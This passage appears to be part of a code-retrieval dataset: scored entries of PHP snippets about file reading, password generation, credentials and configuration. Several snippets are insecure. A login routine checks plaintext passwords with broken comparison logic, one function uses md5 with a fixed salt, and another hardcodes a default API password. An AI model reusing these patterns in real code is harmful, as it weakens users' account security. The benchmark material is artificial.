Files/022-Names.txt\");\n\t$names = explode(\",\", $contents);\n\treturn $names;\n}", "title": "" }, { "docid": "e27ef59af2897c8075c515ea7d2b6a17", "score": "0.4757755", "text": "public function passwordAccessProvider() {\n $pass_access = [\n [\n 'viewer' => 'viewer',\n 'target' => 'viewer',\n 'view' => FALSE,\n 'edit' => TRUE,\n ],\n [\n 'viewer' => 'viewer',\n 'target' => 'owner',\n 'view' => FALSE,\n // Anyone with edit access to the user can also edit these fields. In\n // reality edit access will already be checked on entity level and the\n // user without view access will typically not be able to edit.\n 'edit' => TRUE,\n ],\n [\n 'viewer' => 'owner',\n 'target' => 'viewer',\n 'view' => FALSE,\n 'edit' => TRUE,\n ],\n [\n 'viewer' => 'admin',\n 'target' => 'owner',\n 'view' => FALSE,\n 'edit' => TRUE,\n ],\n ];\n return $pass_access;\n }", "title": "" }, { "docid": "e314d0a25b9b84cf4c4a33c063aafa0b", "score": "0.4757088", "text": "public function getPassword($words){\n $password = \"\";\n $wordarray = ['a', 'ampaS', 'aqtu', 'avwl', 'baH', 'baQ', 'batlh', 'beH', 'benal', 'betleHbey', 'bij', 'bireS', 'blQaHeH', 'boDegh', 'bomwl', 'boqHa', 'bov', 'buSHa', 'chab',\n 'chagh','chaj', 'chanaS', 'chaqu', 'chaw', 'chergh', 'chIj', 'choba', 'chong', 'chorbargh', 'chu', 'chup', 'chuwl', 'DaH', 'Daq', 'Dav', 'Dejengva', 'Denlb', 'DeS', 'Diron',\n 'Dlj','DoQe', 'Doj', 'Dor', 'Dub', 'Dum', 'DuranlungDir', 'eb', 'ejyo', 'emamnal', 'eSpanya', 'ghaH', 'ghaq', 'ghawran', 'ghem', 'ghew', 'ghIm', 'ghISDen', 'ghob',\n 'ghoH','ghoma', 'ghor', 'ghubDaQ', 'ghur', 'HaD', 'HanDogh', 'Hargh', 'He', 'Heghtay', 'HerghQaywl', 'HISlaH', 'Hlch', 'Ho', 'Hogh', 'Hom', 'Hoqra', 'HotIhwI', 'HubneS',\n 'Huj','Hurgh', 'Hutlh', 'Ij', 'IrneH', 'Iw', 'jaD', 'janluqpIqarD', 'jatIh', 'je', 'jemsStlyqlrq', 'jey', 'jIj', 'jIv', 'jol', 'joq', 'joS', 'juHqo', 'lab', 'lam', 'lat',\n 'leH','lengwl', 'lev', 'lIghongan', 'lInqI', 'lolaw', 'loghqam', 'lolaHghach', 'lopno', 'lot', 'luH', 'lupDujHom', 'lutlh', 'maj', 'maqoch', 'matlh', 'may', 'megh', 'meQ',\n 'meyIStIr', 'milloghqonwl', 'mIQ', 'mIva', 'moH', 'mon', 'moS', 'much', 'muH', 'mupwl', 'mutlhegh', 'naD', 'naghDir', 'namtun', 'naQ', 'nav', 'neb', 'nem', 'neSlo',\n 'ngagh','ngav', 'ngeHbej', 'ngevwl', 'ngoch', 'ngong', 'ngugh', 'nIb', 'nIMwIbngogh', 'nISwlHlch', 'nlvnav', 'noD', 'nooch', 'nov', 'nuH', 'nuQ', 'o', 'oj', 'orghenrojmab',\n 'ov','pab', 'paHbID', 'parmaqqay', 'paw', 'pegh', 'peq', 'pIch', 'pIlmoH', 'pIw', 'poj', 'poQ', 'potlh', 'puDaH', 'pum', 'puqpoH', 'pUqaD', 'puy', 'QaD', 'qaH', 'qalmoH',\n 'Qan','Qapla', 'qarghan', 'qat', 'Qaw', 'qaywl', 'qegh', 'qem', 'qeq', 'qev', 'qeylISbetleH', 'qIbHeS', 'QIH', 'qImHa', 'qIq', 'qIvon', 'qoD', 'Qol', 'Qong', 'QopmoH',\n 'qorgh','Qotlh', 'qub', 'qugh', 'Qul', 'qumwI', 'QuQ', 'qutluch', 'quvmoH', 'ram', 'raSya', 'ray', 'rejmorgh', 'rIHwI', 'rIthIh', 'roj', 'ron', 'roS', 'run', 'rutlh',\n 'Saj','Saqghom', 'Saw', 'Sehlaw', 'Ser', 'Sibl', 'Sim', 'So', 'SojnaQ', 'SoQ', 'SoSbora', 'Sub', 'Sulop', 'Surchem', 'Suv', 'ta', 'taH', 'tam', 'taS', 'teb', 'tengchaH',\n 'terapebot', 'teybe', 'tIH', 'tiHomIraH', 'tIQ', 'tIwI', 'tlham', 'tlhay', 'tlhlv', 'tlhon', 'tlhoy', 'tlhtb', 'tlhup', 'tlthlmqaH', 'toDSaH', 'toq', 'towaQ', 'tungHa',\n 'tuqvol','uDHawtaj', 'um', 'uS', 'vaD', 'van', 'vaSa', 'veD', 'vemmoH', 'veregnganHaDlbaH', 'vID', 'vIng', 'vIychorgh', 'voQ', 'vulqan', 'vutwl', 'waH', 'wanI', 'way', 'wel',\n 'wew','wlv', 'woj', 'wovmoHwl', 'wuv', 'yaj', 'yatIh', 'yejquv', 'yIn', 'yIt', 'yoDegh', 'yopwaHbuq', 'yu', 'yuQHom'\n ];\n for ($i=0; $i<$words; $i++) {\n $random = rand(0,(count($wordarray)-1));\n if($i>0){\n //code for words after word one (preceded by an underscore\n $password = $password.\"_\".$wordarray[$random];\n }else{\n //word one code\n $password = $wordarray[$random];\n }\n }\n return $password;\n }", "title": "" }, { "docid": "b1a7307525447a5715067426df884aa4", "score": "0.47533208", "text": "public function readSettings()\n {\n $content = file($this->_confFile);\n $matched = \"\";\n $count = 0;\n \n unset($this->_settings);\n $this->_settings = array();\n \n \n for ($i = 0; $i < count($content); $i ++)\n {\n $count = 0;\n $matched = preg_replace(\"/^[ \\t]*([a-zA-Z0-9-_]+)[ \\t=]+'([^']+)'.*$/\", \"$1<<[:]>>$2\", $content[$i], -1, $count);\n if ($count > 0)\n {\n $tmpArray = explode(\"<<[:]>>\", $matched);\n \n $this->_settings[trim($tmpArray[0])] = trim($tmpArray[1]);\n }\n }\n }", "title": "" }, { "docid": "8633653ad448d52315cf15e74215736d", "score": "0.47528315", "text": "public function loginPassProvider()\r\n {\r\n $res = array();\r\n \r\n $bad_input = array(null, '', 42, TestData::genUnicodeStr(rand(0, 1) ? \r\n rand(1, TestData::MIN_LP_LENGTH) : \r\n rand(TestData::MAX_LP_LENGTH, 2*TestData::MAX_LP_LENGTH)));\r\n \r\n $roles = array('SuperAdmin', 'ContestAdmin', 'Participant');\r\n\r\n //bad data for all roles \r\n for($i = 0; $i < sizeof($roles); $i++)\r\n $res[] = array(BAD_DATA, TestData::getRandomValue($bad_input), TestData::getRandomValue($bad_input), $roles[$i]);\r\n \r\n //bad data for super admin but good for everyone else\r\n $lp_len = rand(TestData::MIN_LP_LENGTH, TestData::MAX_LP_LENGTH);\r\n $res[] = array(BAD_DATA, TestData::genUnicodeStr($lp_len), TestData::genUnicodeStr($lp_len), 'SuperAdmin');\r\n \r\n return $res;\r\n }", "title": "" }, { "docid": "c548524ac6d6a501aad0c539dd08f458", "score": "0.47446942", "text": "public function LoadData($file) {\n\t\t// Read file lines\n\t\t$lines = file($file);\n\t\t$data = array();\n\t\tforeach($lines as $line) {\n\t\t\t$data[] = explode(';', chop($line));\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "39b59600bf2e70bcde4ef171b2b94308", "score": "0.47437683", "text": "public function readCredentialFile()\n {\n if (file_exists($this->credentialsFile)) {\n return file_get_contents($this->credentialsFile);\n }\n\n return false;\n }", "title": "" }, { "docid": "3b16101c6bea4c22a4b892c15145e3c4", "score": "0.47387648", "text": "function getTweetsByFile($filename)\n{\n\t$full_data=file_get_contents($filename);\n\t$tweets_array=explode(\"\\n\", $full_data);\n\treturn $tweets_array;\n}", "title": "" }, { "docid": "1cda79c95602cb41a83cc02ebcd287c5", "score": "0.47285002", "text": "public function LoadData($file) {\r\n // Read file lines\r\n $lines = file($file);\r\n $data = array();\r\n foreach($lines as $line) {\r\n $data[] = explode(';', chop($line));\r\n }\r\n return $data;\r\n }", "title": "" }, { "docid": "7ff3b81c061ff8ba7417a786501d7d8d", "score": "0.47279292", "text": "function credentials() {\n\t\t\treturn array('', '', '');\n\t\t}", "title": "" }, { "docid": "e54928da8c4b88d6e4840416c3fdc0dc", "score": "0.47247824", "text": "function getContentsArray() {\n\t\t$fileContentsArray = file($this->filename);\n\t\treturn $fileContentsArray;\n\t}", "title": "" }, { "docid": "01a3b21d3e9857d63ad6ad9f6baf4a99", "score": "0.4718821", "text": "private function loadWordsFileContents()\n {\n $handle = fopen(getcwd().\"/src/app/Dictionary/words.english\", \"r\");\n if ($handle) {\n while (($line = fgets($handle)) !== false) {\n // process the line read.\n $this->words[] = trim($line);\n }\n\n fclose($handle);\n } else {\n // error opening the file.\n }\n }", "title": "" }, { "docid": "593682ae5291660c97ae411893ed4678", "score": "0.4714226", "text": "public static function textFile($file) {\n\t\t$vars = array();\n\n\t\tif (!file_exists($file)) {\n\t\t\treturn $vars;\n\t\t}\n\n\t\t// Get file content and normalize line breaks.\n\t\t$content = preg_replace('/\\r\\n?/', \"\\n\", file_get_contents($file));\n\n\t\t// Split $content into data blocks on every line only containing one or more AM_PARSE_BLOCK_SEPARATOR and whitespace, followed by a key in a new line.\n\t\t$pairs = preg_split('/\\n' . preg_quote(AM_PARSE_BLOCK_SEPARATOR) . '+\\s*\\n(?=' . Regex::$charClassTextFileVariables . '+' . preg_quote(AM_PARSE_PAIR_SEPARATOR) . ')/s', $content, null, PREG_SPLIT_NO_EMPTY);\n\n\t\t// Split $pairs into an array of vars.\n\t\tforeach ($pairs as $pair) {\n\t\t\tlist($key, $value) = explode(AM_PARSE_PAIR_SEPARATOR, $pair, 2);\n\t\t\t$vars[trim($key)] = trim($value);\n\t\t}\n\n\t\t// Remove undefined (empty) items.\n\t\t$vars = array_filter($vars, 'strlen');\n\n\t\treturn $vars;\n\t}", "title": "" }, { "docid": "f033fbf3fe7925993fa085ad573cb173", "score": "0.47083038", "text": "function readdata($file_lines){\r\n\t//and create array, indexing based on new line\r\n\tforeach($file_lines as $line){\r\n\t\t$array1[]= $line;\r\n\t}\r\n\treturn $array1;\r\n}", "title": "" }, { "docid": "8fa30976ac48f5d813bc86dd4d311df7", "score": "0.47079316", "text": "public function getCredentials()\n {\n return array($this->_user, $this->_pass);\n }", "title": "" }, { "docid": "8c1e9a44010bbf04efac0222efce4baa", "score": "0.46962303", "text": "function makeArray(){\n\n\t\t\t\t$salt = \"KelseyC\";\n\t\t\t\t$epass = md5($_POST['password'].$salt);\n\t\t\t\t$euser = $_POST['user'];\n\n\t\t\t\treturn array(\"USERNAME\" => $euser, \"Hashed Password w/ Salt\" => $epass);\n\t\t\t}", "title": "" }, { "docid": "0ce333129d7ccf3d27464c40aaa38f02", "score": "0.46918014", "text": "protected function getPasswordAlgorithm(): array\n {\n if (defined('PASSWORD_ARGON2ID')) {\n return [PASSWORD_ARGON2ID, []];\n }\n\n return [PASSWORD_BCRYPT, []];\n }", "title": "" }, { "docid": "0f29d6ca2e4f48e7bdb6cff658d5cd9b", "score": "0.4688121", "text": "public function bannedPasswords()\n {\n return [\n 'password', '12345678', '123456789', 'baseball', 'football', 'jennifer', 'iloveyou', '11111111', '222222222', '33333333', 'qwerty123'\n ];\n }", "title": "" }, { "docid": "2aed944cfbe6c8a6837b9feb1c1014d4", "score": "0.4676087", "text": "public function getOneTimePassword()\n\t{\n\t\tif (($record=$this->getActiveRecord())===null) {\n\t\t\treturn array(null, null);\n\t\t}\n\t\treturn array(\n\t\t\t$record->one_time_password_code,\n\t\t\t$record->one_time_password_counter === null ? 1 : $record->one_time_password_counter,\n\t\t);\n\t}", "title": "" }, { "docid": "72fc70899744e157ec3ff6137c4b764f", "score": "0.46703908", "text": "protected function passwordRules(): array\n {\n return ['required', 'string', new Password, 'confirmed'];\n }", "title": "" }, { "docid": "ba9e78af54f210366c967e5e91b002f0", "score": "0.46702334", "text": "function getPassword ()\n\t{\n\t\treturn $this->ini->readVariable(\"setup\",\"pass\");\n\t}", "title": "" }, { "docid": "c0a0e6731e151e11c78ee28adce01ee7", "score": "0.46645576", "text": "function loadmap($file) {\n $contents = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n if( $contents === false ) return array();\n\n $map = array();\n foreach( $contents as $line ) {\n $fields = explode(\"\\t\",$line);\n $map[$fields[0]] = $fields[1];\n }\n return $map;\n}", "title": "" }, { "docid": "4de6f161e27b2b29003768a62337c73b", "score": "0.46609417", "text": "function create_password($arr,$salt){\n $arr = sha1(substr(sha1($arr),0,30) . substr(sha1($salt),20,30));\n return $arr;\n }", "title": "" }, { "docid": "e5b67a4ecea2b78ab8e413bc866b9e30", "score": "0.4649344", "text": "public function getCredentials(): array;", "title": "" }, { "docid": "6e3ac58f8a7997bc5ea0baf0b23b37ba", "score": "0.4637829", "text": "public function getPasswordCredentials()\n {\n return $this->passwordCredentials;\n }", "title": "" }, { "docid": "22be29cb0c23aaadba3915e477d15089", "score": "0.46344972", "text": "private function updateUsersFile(array $array) {\n\n $userPathAbsolute = $this->getUsersPathAbsolute();\n\n $output = [];\n\n foreach ($array as $user) {\n $output[] = [\n \"username\" => $user->getUsername(),\n \"password\" => $user->getPassword()\n ];\n\n }\n\n\n // convertiamo users in array, da un array di oggetti\n file_put_contents($userPathAbsolute, json_encode($output));\n}", "title": "" }, { "docid": "84b5fac3608d211677d1a035d72c081f", "score": "0.4623458", "text": "function read_colors ( ) {\n\t\t//\n\t\tglobal $user_colors, $blog_theme;\n\t\t$color_def = theme_default_colors();\n\t\tfor ( $i = 0; $i < count( $color_def ); $i++ ) {\n\t\t\t$user_colors[ $color_def[$i][ 'id' ] ] = $color_def[$i][ 'default' ];\n\t\t}\n\n\t\t$filename = CONFIG_DIR.'colors-' . $blog_theme . '.txt';\n\t\t$result = sb_read_file( $filename );\n\t\tif ( $result ) {\n\t\t\t$saved_colors = explode('|', $result);\n\t\t\tfor ( $i = 0; $i < count( $saved_colors ); $i = $i + 2 ) {\n\t\t\t\t$id = $saved_colors[$i];\n\t\t\t\t$color = $saved_colors[$i+1];\n\t\t\t\t$user_colors[ $id ] = $color;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "275c4989d3e3cee6f6fff62c00d68349", "score": "0.46151856", "text": "function openFile($filename){\n\t$readsize=4096;\n \n\t//open file and aquire shared lock\n\t$fv=fopen($filename, 'r');\n\tflock($fv, LOCK_SH);\n \n\t//initialize vars and get array of file\n\t$temp=array();\n\t$counter=0;\n\twhile ($line=fgets($fv, $readsize)) {\n $temp[$counter] = $line;\n $counter=$counter+1;\n\t}\n \n\t//relinquish lock and close file\n\tflock($fv, LOCK_UN);\n\tfclose($fv);\n \n\t//return our array\n\treturn $temp;\n}", "title": "" }, { "docid": "1711a0dd42beb2068c7a4b3d5eeab1bb", "score": "0.46048728", "text": "function parseI18nFile($fileContent) {\n $i18n = array();\n $fileContent = str_replace('\\r', '', $fileContent);\n $lines = explode(\"\\n\", $fileContent);\n foreach ($lines as &$line) {\n $cells = explode(\"=\", $line, 2);\n if (isset($cells[0]) && isset($cells[1]) && strlen($cells[0]) > 0 && strlen($cells[1]) > 0) {\n $i18n[$cells[0]] = $cells[1];\n }\n }\n return $i18n;\n }", "title": "" }, { "docid": "c2a5612610cef20c6d5971e59cc73ada", "score": "0.45986748", "text": "function propertiesToArray($file) {\n if (!is_file($file)) return array();\n\n $source = file($file);\n\n // we parse the $source array and remove white space\n foreach ($source as $value)\n {\n $temp = explode(\"=\", $value);\n $finalArray[trim($temp[0])] = trim($temp[1]);\n }\n\n return $finalArray;\n}", "title": "" }, { "docid": "4778a8cfe8e83bf9d2169da641acdb01", "score": "0.45879352", "text": "private function read_lines(){\n\t\t$handle = fopen($this->filename, \"r\");\n\t\t$fileSize1 = filesize($this->filename);\n\t\tif ($fileSize1 > 0){\n\t\t\t$contents = fread($handle, $fileSize1);\n\t\t} else {\n\t\t\t$contents = [];\n\t\t}\t\n\t\tfclose($handle);\n\n\t\tif (is_string($contents)){\n\t\t\t$contents = explode(\"\\n\", $contents);\t\n\t\t} \t\n\t\t\n\t\treturn $contents;\n\t}", "title": "" }, { "docid": "789960233f8b26f711c7e52b15fadf41", "score": "0.45857552", "text": "function stringToArray($string) {\n clearstatcache();\n $contactsArray = explode(\"\\n\", trim(openFile($string)));\n // explode out each person\n foreach($contactsArray as $key => $person) {\n $tempArray = explode('|', $person);\n $contacts[$key]['name'] = $tempArray[0];\n $contacts[$key]['number'] = formatPhoneNumber($tempArray[1]);\n }\n return $contacts;\n\n}", "title": "" }, { "docid": "87c1317d92d1ef66cbb265cafb312d81", "score": "0.4579747", "text": "function isAdmin($username) {\n $lines = file('accounts.txt');\n foreach ($lines as $line_num => $line) {\n list($l_user, $l_password, $l_isadmin) = explode(',', $line);\n if($username == $l_user){\n return $l_isadmin;\n }\n }\n return -1;\n }", "title": "" }, { "docid": "6e0eade7b3566d2692f5d8b0c58349b7", "score": "0.45783752", "text": "function login(){\n if($_SERVER['REQUEST_METHOD'] === 'POST'){ //Form has been posted\n if(isset($_POST[\"username\"])){\n $username = $_POST[\"username\"];\n $password = $_POST[\"password\"];\n\n\n $pw = fopen(\"passwd.txt\", \"r\");\n $users = Array();\n while(!feof($pw)){\n //Read Line\n $comb = fgets($pw);\n $un_pw = explode(\":\", $comb);\n $users[$un_pw[0]] = $un_pw[1];\n }\n fclose($pw);\n\n if(array_key_exists($username, $users) && strcmp($userlist[$username], $password)){\n setcookie(\"id\", $username, time()+120);\n setcookie(\"timeloggedin\", time(), time()+120);\n echo '<script language=\"javascript\">';\n echo 'alert(\"You are successfully logged in!\")';\n echo '</script>';\n\n }else{\n echo '<script language=\"javascript\">';\n echo 'alert(\"Wrong username and password combinations!\")';\n echo '</script>';\n }\n }\n }\n }", "title": "" }, { "docid": "950c4060d09da1375f25c584851a7ab4", "score": "0.455577", "text": "function LoadData($file)\n{\n //Leer las líneas del fichero\n $lines=file($file);\n $data=array();\n foreach($lines as $line)\n $data[]=explode(';',chop($line));\n return $data;\n}", "title": "" }, { "docid": "471be8eddc1252b33edffed77e592645", "score": "0.4548539", "text": "public static function credentials($username = 'api_pommaker_test', $password = 'GR2df9D')\n {\n return array(\n 'username' => get_option('api_username_mywarehouse') ? get_option('api_username_mywarehouse') : $username,\n 'password' => get_option('api_passwd_mywarehouse') ? get_option('api_passwd_mywarehouse') : $password\n );\n }", "title": "" }, { "docid": "b345155061de88b3b0c2fabb3ef23c30", "score": "0.45316488", "text": "public function getVerifaliaCredentials(): array\n {\n if ($this->defaultDriver === 'verifalia') {\n $username = $this->drivers[$this->defaultDriver]['username'];\n $password = $this->drivers[$this->defaultDriver]['password'];\n\n if (empty($username) || empty($password)) {\n throw new SpamMailCheckerCredentialsNotSetException('The credentials for the selected driver' . $this->defaultDriver . ' is not set.');\n }\n\n return [\n 'username' => $username,\n 'password' => $password\n ];\n }\n\n throw new SpamMailCheckerCredentialsNotSetException('The selected driver does not use credentials.');\n }", "title": "" }, { "docid": "4f79f518b934799ba7279065e0e5c994", "score": "0.4522157", "text": "function load_blacklist() {\n\t\n\tglobal $INSTALL_DIR,$BLACK_LIST_FILE;\n\t\n\t$blist = fopen($INSTALL_DIR.$BLACK_LIST_FILE, \"r\");\n\t$b_array = array();\n\tdo{\n\t\t$in = trim(fgets($blist));\n\t\tif($in != null)\n\t\t\t$b_array[]=$in;\n\n\t}\n\twhile(!feof($blist));\n\tfclose($blist);\n\t\n\treturn $b_array;\n\t}", "title": "" }, { "docid": "0b8dc348b543f5ff0bad8d3adfa11571", "score": "0.45199034", "text": "public function loadFile($file='')\n {\n $lines = array();\n if ( !($lines = file($file)) ) {\n $fh = fopen($file,\"r\");\n do {\n $temp = trim(fgets($fh)); // read line to line\n // Delete UTF-8 Character BOM from line text\n if (substr($temp,0,3) == pack(\"CCC\",0xef,0xbb,0xbf)) $line = substr($temp,3); \n else $line = $temp;\n\n $lines[] = $line;\n } while (!feof($fh)); \n fclose($fh); \n }\n return $lines;\n }", "title": "" }, { "docid": "3cd46cbdbae31f5cfa32d4423a38a660", "score": "0.45198697", "text": "public function getCredentials(){\n $config = parse_ini_file(self::ini,true)[\"settings\"];\n if($config[\"AllowCredentialsRequest\"]){// return all credentials\n $return = array(\"username\" => $this->username, \"password\" => $this->password, \"dbname\" => $this->dbname, \"servername\" => $this->servername);\n }\n else{ // return all credentials that are allowed\n $return = array();\n if($config[\"AllowUsernameRequest\"]) { $return[\"username\"] = $this->username;}\n if($config[\"AllowPasswordRequest\"]) { $return[\"password\"] = $this->password;}\n if($config[\"AllowDBnameRequest\"]) { $return[\"dbname\"] = $this->dbname;}\n if($config[\"AllowServernameRequest\"]){ $return[\"servername\"] = $this->servername;}\n }\n return (!empty($return) ? $return :\"You are not allowed to get any credentials, this is restricted in the JeleleConn.ini\" );\n }", "title": "" }, { "docid": "7cace1c8c8fee488c528f4e847aabecb", "score": "0.45193797", "text": "function write_grade(){\n\t$new_file = array();\n\t$file = fopen('results.txt', 'r');\n\twhile (!feof($file)){\n\t\t$line = fgets($file);\n\t\t$line_split = preg_split('/:/', $line);\n\t\tif ($_SESSION['username'] != $line_split[0]){\n\t\t\tarray_push($new_file, $line);\n\t\t}\n\t}\n\tfclose($file);\n\t\n\tarray_push($new_file, $_SESSION['username'].':'.$_SESSION['grade'].\"\\n\");\n\t$file = fopen('results.txt', 'w');\n\n\tforeach ($new_file as $new_line){\n\t\tif ($new_line != \"\\n\") {fputs($file, $new_line);}\n\t}\n\t\n\tfclose($file);\n}", "title": "" }, { "docid": "19b4728ddef88c643e9c14083905d966", "score": "0.45168722", "text": "public function get_password()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $file = new Configuration_File(self::FILE_CONFIG_DB, 'explode', '=', 2);\n $db_config = $file->load();\n\n return $db_config['password'];\n }", "title": "" } ]
407f245f70c3e39c6352ae5fb8872ca8
Generates the PHP array string for an array of records. Will use var_export() and PHPEncoder for more sophisticated types.
[ { "docid": "b9cfb74da7ab9cb8cfe6084f4817f7e5", "score": "0.69326276", "text": "public function stringifyRecords(array $records)\n {\n $out = \"[\\n\";\n $encoder = new PHPEncoder();\n\n foreach ($records as $record) {\n $values = [];\n foreach ($record as $field => $value) {\n if ($value instanceof \\DateTime || $value instanceof \\Cake\\Chronos\\Date || $value instanceof \\Cake\\Chronos\\Chronos) {\n $value = $value->format('Y-m-d H:i:s');\n }\n if (is_array($value)) {\n $value = json_encode($value);\n }\n $val = var_export($value, true);\n if ($val === 'NULL') {\n $val = 'null';\n }\n $values[] = \" '$field' => $val\";\n }\n $out .= \" [\\n\";\n $out .= implode(\",\\n\", $values);\n $out .= \"\\n ],\\n\";\n }\n $out .= \" ]\";\n return $out;\n }", "title": "" } ]
[ { "docid": "7b2d175af425ca66c5a88ed53ec59c36", "score": "0.6412785", "text": "public function toString()\n {\n return 'Array';\n }", "title": "" }, { "docid": "83890a2f06446fa8104f08b7b7bf3d24", "score": "0.6400075", "text": "function serializeArray($array){\n\t\t$encodedArray = \"\";\n\t\t\n\t\tforeach($array as $row){\n\t\t\t$encodedArray .= \"|\";\n\t\t\t\n\t\t\tforeach($row as $col){\n\t\t\t\t$encodedArray .= \",\".$col;\n\t\t\t}\n\t\t}\n\n\t\treturn $encodedArray;\n\t}", "title": "" }, { "docid": "3317fd55af2c6ddd7e39d7ba62c685b9", "score": "0.6193011", "text": "public function toString()\n {\n return \"Array\";\n }", "title": "" }, { "docid": "e75bd35253e5fbe0f4fcde2b8ece1bae", "score": "0.61679256", "text": "public function __toString() {\n $retVal = get_class($this).\"[\\n\";\n $elementsArr = $this->toArray();\n $comma = ',';\n $elsCount = count($elementsArr);\n\n for ($x = 0 ; $x < $elsCount ; $x++) {\n $data = $elementsArr[$x];\n $dataType = gettype($data);\n\n if ($x + 1 == $elsCount) {\n $comma = '';\n }\n\n if ($dataType == 'object' || $dataType == 'array') {\n $retVal .= ' ['.$x.']=>('.$dataType.\")$comma\\n\";\n } else {\n $retVal .= ' ['.$x.']=>'.$data.'('.$dataType.\")$comma\\n\";\n }\n }\n\n return $retVal.']';\n }", "title": "" }, { "docid": "d5a94c6674a822ece3ef4dc8105427d7", "score": "0.61307776", "text": "static function serializeArray($array);", "title": "" }, { "docid": "040df85bc4700cdac15a31179d150866", "score": "0.60984886", "text": "protected function arrayExport($values)\n {\n $php = var_export($values, true);\n $php = str_replace(\"\\n\", '', $php);\n $php = str_replace('array ( ', 'array(', $php);\n $php = str_replace(',)', ')', $php);\n $php = str_replace(' ', ' ', $php);\n return $php;\n }", "title": "" }, { "docid": "babe76b5d37a21ecf618bb300ab75526", "score": "0.60206693", "text": "function ewr_ArrayToJson($ar, $offset = 0) {\n\t$arOut = array();\n\t$array = FALSE;\n\tif (count($ar) > 0) {\n\t\t$keys = array_keys($ar[0]);\n\t\tforeach ($keys as $key) {\n\t\t\tif (is_int($key)) {\n\t\t\t\t$array = TRUE;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tforeach ($ar as $row) {\n\t\t$arwrk = array();\n\t\tforeach ($row as $key => $val) {\n\t\t\tif (($array && is_string($key)) || (!$array && is_int($key)))\n\t\t\t\tcontinue;\n\t\t\t$key = ($array) ? \"\" : \"\\\"\" . ewr_JsEncode2($key) . \"\\\":\";\n\t\t\t$arwrk[] = $key . ewr_VarToJson($val);\n\t\t}\n\t\tif ($array) { // Array\n\t\t\t$arOut[] = \"[\" . implode(\",\", $arwrk) . \"]\";\n\t\t} else { // Object\n\t\t\t$arOut[] = \"{\" . implode(\",\", $arwrk) . \"}\";\n\t\t}\n\t}\n\tif ($offset > 0)\n\t\t$arOut = array_slice($arOut, $offset);\n\treturn \"[\" . implode(\",\", $arOut) . \"]\";\n}", "title": "" }, { "docid": "1e0a0eec8add40b48732c4b74d3fb4cc", "score": "0.6001688", "text": "public function serialize(): array;", "title": "" }, { "docid": "d668f410408a48cb6100ca8929300b05", "score": "0.59865063", "text": "public static function toArray(array $params): string\n {\n $_code = array();\n foreach ($params as $k => $v) {\n $_code[] = '\"' . $k . '\" => ' . $v;\n }\n\n return 'array(' . implode(\",\", $_code) . ')';\n }", "title": "" }, { "docid": "568df3a90f2017a47d02914289152814", "score": "0.5970684", "text": "public function jsonEncodeArray($arrSimple) {\n $jsonResult = \"\";\n $n = 0;\n foreach($arrSimple AS $val) {\n $n++;\n $jsonResult .= $this->_mxdEscape($val);\n if($n < count($arrSimple)) $jsonResult .= \",\";\n }\n return \"[\".$jsonResult.\"]\";\n }", "title": "" }, { "docid": "6a99858aebf9c0956b49cd18a3623812", "score": "0.5955279", "text": "static public function array_to_json($arr){\n\t$ret = \"[\";\n\tfor($i=0;$i<count($arr);$i++){\n\t\tif (isset($arr[$i]))\n\t\t\t$ret .= self::encode_value_json($arr[$i]).\",\";\n\t\telse {\n\t\t\t$ret = \"\";\n\t\t\tbreak; // not a numeric indexed array\n\t\t}\n\t}\n\tif (!empty($ret)){\n\t\t$ret = substr($ret,0,strlen($ret)-1).\"]\";\n\t\treturn $ret;\n\t}\n\n\t$ret = \"{\";\n\tforeach($arr as $k=>$v){\n\t\t$ret .= '\"'.$k.'\":';\n\t\t$ret .= self::encode_value_json($v).\",\";\n\t}\n\t$ret = substr($ret,0,strlen($ret)-1).\"}\";\n\treturn $ret;\n}", "title": "" }, { "docid": "6e424de9ce8c7caa1d372e8f36e146d9", "score": "0.5945596", "text": "public function toDBArray();", "title": "" }, { "docid": "b2527f43d2af9a950942a2a54f7db936", "score": "0.59230125", "text": "public function __toString()\n {\n return json_encode($this->array);\n }", "title": "" }, { "docid": "a26e153caac71e96fc2ff7c88786fbd7", "score": "0.5915698", "text": "public function format(array $record):string;", "title": "" }, { "docid": "201c74b9564d6df5c2667128da560d28", "score": "0.58894", "text": "function phpArrayToJSarray($array)\n\t{\t$isAssociative = isAssoc($array);\n\t\tif($isAssociative)\n\t\t{\t$result = \"{\";\n\t\t}else\n\t\t{\t$result = \"[\";\n\t\t}\n\t\t\n\t\t$oneAlready = false;\n\t\tforeach($array as $k => $x)\n\t\t{\tif($oneAlready)\n\t\t\t{\t$result .= \",\";\n\t\t\t}\n\t\t\t$oneAlready = true;\n\t\t\t\n\t\t\tif($isAssociative)\n\t\t\t{\t$result .= '\"'.$k.'\"'.\":\";\n\t\t\t}\n\t\t\t\n\t\t\tif(is_array($x))\n\t\t\t{\t$result .= phpArrayToJSarray($x);\n\t\t\t}else if(is_int($x))\n\t\t\t{\t$result .= $x;\n\t\t\t}else\n\t\t\t{\t$result .= '\"'.escape_string($x, '\"').'\"';\n\t\t\t}\n\t\t}\n\t\tif($isAssociative)\n\t\t{\t$result .= \"}\";\n\t\t}else\n\t\t{\t$result .= \"]\";\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "000b9446a84e676cb27f0f090cab6767", "score": "0.58786494", "text": "public function exportTypesArray(): string\n {\n if (!$data = file_get_contents(self::MIME_LIST)) {\n throw Exceptional::Runtime(\n 'Unable to fetch Apache mime list'\n );\n }\n\n $output = [];\n\n foreach (explode(\"\\n\", $data) as $line) {\n if (!isset($line[0]) || $line[0] === '#') {\n continue;\n }\n\n if (\n !preg_match_all('#([^\\s]+)#', $line, $matches) ||\n !isset($matches[1]) ||\n (($count = count($matches[1])) <= 1)\n ) {\n continue;\n }\n\n for ($i = 1; $i < $count; $i++) {\n $key = $matches[1][$i];\n\n if (isset($output[$key])) {\n continue;\n }\n\n $output[$key] = ' \\'' . $key . '\\' => \\'' . $matches[1][0] . '\\'';\n }\n }\n\n foreach (self::EXTRA_TYPES as $key => $value) {\n $output[$key] = ' \\'' . $key . '\\' => \\'' . $value . '\\'';\n }\n\n return '[' . \"\\n\" . implode(\",\\n\", $output) . \"\\n\" . ']';\n }", "title": "" }, { "docid": "227daa9453802dd7634aac8ff87abc2b", "score": "0.5855756", "text": "protected function arrayToString($value, $encode = true) {\n\t\tif(!count($value)) return '';\n\t\t$out = \"<ul 